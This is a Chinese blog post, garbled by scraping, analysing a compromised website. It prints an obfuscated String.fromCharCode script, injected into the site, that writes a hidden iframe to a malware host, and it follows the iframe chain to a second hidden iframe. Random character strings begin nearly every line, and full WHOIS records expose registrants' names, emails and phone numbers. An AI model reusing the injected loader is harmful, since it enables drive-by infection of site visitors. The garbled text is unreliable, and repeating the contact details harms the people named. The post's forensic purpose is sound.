首发在我的博客里面，
7F"ljkN1S PF4[;E S' http://www.areway.cn/?p=175 uz3cho' &GH [$( neEqw +#Z 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
eu(Fhs
|r@;ulO <script>t=’60,105,102,114,97,109,101,
Q=Q+*oog 32,115,114,99,61,104,116,116,112,58,47,47,
fN9{@)2Mz 102,114,101,101,46,117,45,117,117,117,46,99,
i@/% E~ W 110,47,101,114,114,111,114,46,104,116,109,
D4$b-?y 32,119,105,100,116,104,61,49,48,48,32,104,
YdI6 |o@vc 101,105,103,104,116,61,48,62,60,47,105,102,
u$w.'lK 114,97,109,101,62′;
ckX8eg!f t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
#hBqgG:> S1r{2 s& <script>t=’60,105,102,114,97,109,101,32,115,
ic G 9x 114,99,61,104,116,116,112,58,47,47,102,114,
SrA6}kS 101,101,46,117,45,117,117,117,46,99,110,47,
Md6u4c 101,114,114,111,114,46,104,116,109,32,119,
wG O-Z']i 105,100,116,104,61,49,48,48,32,104,101,105,
H [+'>Id: 103,104,116,61,48,62,60,47,105,102,114,97,
}Z <I%GT 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
=o@}~G&HA document.write(t);</script>
RlfI]uCDM #o&T$D5 <html xmlns=”
R5sEQ| E http://www.w3.org/1999/xhtml ,I iKe_B “>
%Vo' \| <head>
3g7] $ } <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
-t_&H\_T <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
;)rhx`"n <title>首页 - 爱生活家庭网
_3
!s{ o]0E 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
py$Gy-I~[ 转换字符串后的大概内容是（谁点击后果自付）：
6~ET@"0uK <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
0yjYjIk"T p&}m') 查询玉米u-uuu.cn的详细信息：
6 X ]I`e Domain Name: u-uuu.cn
H~[q<ybxr ROID: 20070901s10001s64972306-cn
li3X } Domain Status: ok
=YM Registrant Organization: 王雷
%~eu&\os Registrant Name: 王雷
Ez
<YD Administrative Email:
czlovexs@126.com +46& Zb35 Sponsoring Registrar: 北京万网志成科技有限公司
E2hM L Name Server:ns.yovole.com
tl i*3YIw Name Server:ns1.yovole.com
.= =c~>N Registration Date: 2007-09-01 17:54
aeMj4|{\ Expiration Date: 2008-09-01 17:54
^Oj^7.T+ 最后PING了一下地址 都没有什么….
i{g~u<DH)Q BDN}`F[ F 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
Z){ fie4WM <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
VU\G49 <script language=”javascript” src=”
*`s*l+0b http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script #E4oq9{0*W >
m[ S 1 这个玉米应该有可能是木马作者的：
.:-*89c foafau.info的详细信息：
B"7~[,he Access to INFO WHOIS information is provided to assist persons in
Kj"n
Id) determining the contents of a domain name registration record in the
"97sH_
, Afilias registry database. The data in this record is provided by
MO]zf3f! Afilias Limited for informational purposes only, and Afilias does not
.Sm 8t$ guarantee its accuracy. This service is intended only for query-based
BT:b&"AR[ access. You agree that you will use this data only for lawful purposes
1\jj3Y'i' and that, under no circumstances will you use this data to: (a) allow,
_Wp,
z` enable, or otherwise support the transmission by e-mail, telephone, or
0l( G7Ju facsimile of mass unsolicited, commercial advertising or solicitations
*{fZA;<R to entities other than the data recipient’s own existing customers; or
$9@Z\0
(b) enable high volume, automated, electronic processes that send
zll?/|% queries or data to the systems of Registry Operator, a Registrar, or
&sq q+&ao Afilias except as reasonably necessary to register domain names or
j97 c@ modify existing registrations. All rights reserved. Afilias reserves
F0xm% ? the right to modify these terms at any time. By submitting this query,
&WbHM)_n you agree to abide by this policy.
h#h )=; Domain ID:D22418703-LRMS
<SRSJJR|( Domain Name:FOAFAU.INFO
[c>YKN2qa Created On:20-Nov-2007 16:05:42 UTC
i piS= Last Updated On:20-Nov-2007 16:05:44 UTC
5N>L|J2 Expiration Date:20-Nov-2008 16:05:42 UTC
`)jAdad-s Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
y X\~ {% Status:CLIENT DELETE PROHIBITED
>+BLD Status:CLIENT RENEW PROHIBITED
'kCr1t Status:CLIENT TRANSFER PROHIBITED
Xt*h 2& Status:CLIENT UPDATE PROHIBITED
Jl) Q # Status:TRANSFER PROHIBITED
c"'JMq Registrant ID:GODA-040110615
;>p{|^X0D Registrant Name:liu hong
w3Qil[rg Registrant Organization:
4!+ IsT Registrant Street1:beijing
}5gQ dj[Y Registrant Street2:
S#D6mg$Z, Registrant Street3:
7baQ4QY?n Registrant City:beijing
c+TCC%AJQI Registrant State/Province:
|A
u+^#:; Registrant Postal Code:100000
,|R\ Z,s Registrant Country:CN
_nW#Cl~ Registrant Phone:+86.860108888777
C'z}jM`g Registrant Phone Ext.:
E7Pz~6 Registrant FAX:
\g;-q9g;O Registrant FAX Ext.:
6c#1Do(W+ Registrant Email:bbbshiji@163.com
i\P)P! Admin ID:GODA-240110615
dBp)6ok#c Admin Name:liu hong
OEgp!J Admin Organization:
>]8H@. \ Admin Street1:beijing
]OA8H[U-eA Admin Street2:
G
C3G=DTt Admin Street3:
bu r0?q Admin City:beijing
|NWo.j>4- Admin State/Province:
=I9RM 9O< Admin Postal Code:100000
z)y{(gR Admin Country:CN
^{fA:N= Admin Phone:+86.860108888777
^5*9BwH ` Admin Phone Ext.:
PeB7Q=d)K1 Admin FAX:
o dpjEeQC Admin FAX Ext.:
sq' bo8r Admin Email:bbbshiji@163.com
_Q OZ`st Billing ID:GODA-340110615
;l=Z W Billing Name:liu hong
;bt%TxuKb Billing Organization:
*U^7MU0 Billing Street1:beijing
CrI:TB>/ " Billing Street2:
(\NZ)Ys Billing Street3:
3It9|Y"6[ Billing City:beijing
<%]i7& 8| Billing State/Province:
c'~6 1HA< Billing Postal Code:100000
1$ C\ ` Billing Country:CN
x.~A vJ Billing Phone:+86.860108888777
sDnXgCcS! Billing Phone Ext.:
,O/ t6' Billing FAX:
`Kq4z62V Billing FAX Ext.:
5ki<1{aVtZ Billing Email:bbbshiji@163.com
)> |x 2q Tech ID:GODA-140110615
E#m|Sq Tech Name:liu hong
f&
>[$zh Tech Organization:
xRM)f 93@ Tech Street1:beijing
"xKykSk Tech Street2:
m_g2 Cep Tech Street3:
=;?afUj Tech City:beijing
7awh__@ Tech State/Province:
m3i+b Tech Postal Code:100000
P4S]bPIp Tech Country:CN
I[v6Y^{q Tech Phone:+86.860108888777
m]#oZVngy Tech Phone Ext.:
vhOX1 ' Tech FAX:
2Ub!wee Tech FAX Ext.:
f,}9~r # Tech Email:bbbshiji@163.com
0<C]9[l Name Server:NS27.DOMAINCONTROL.COM
%DR8M\d1~H Name Server:NS28.DOMAINCONTROL.COM
VuWBWb?0Q Name Server:
sbi+o,%1 Name Server:
yO`HL'SMo Name Server:
AeN$AqQd/ Name Server:
K{WLo5HP Name Server:
51&K Name Server:
L&L K
go Name Server:
T@)|0M Name Server:
\ hr2#! Name Server:
`8sC>)lrwu Name Server:
BL^\"Xh$| Name Server:
Uop`) nqMXE82 接着下载每个文件里面的代码：
;S.o` z1GI 一步一步看..
E 6Uiw]3 
/\0g)B;] 
r# X6j U 
LX2Re
]& 
iVe"iH 
g<(\# F}/ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
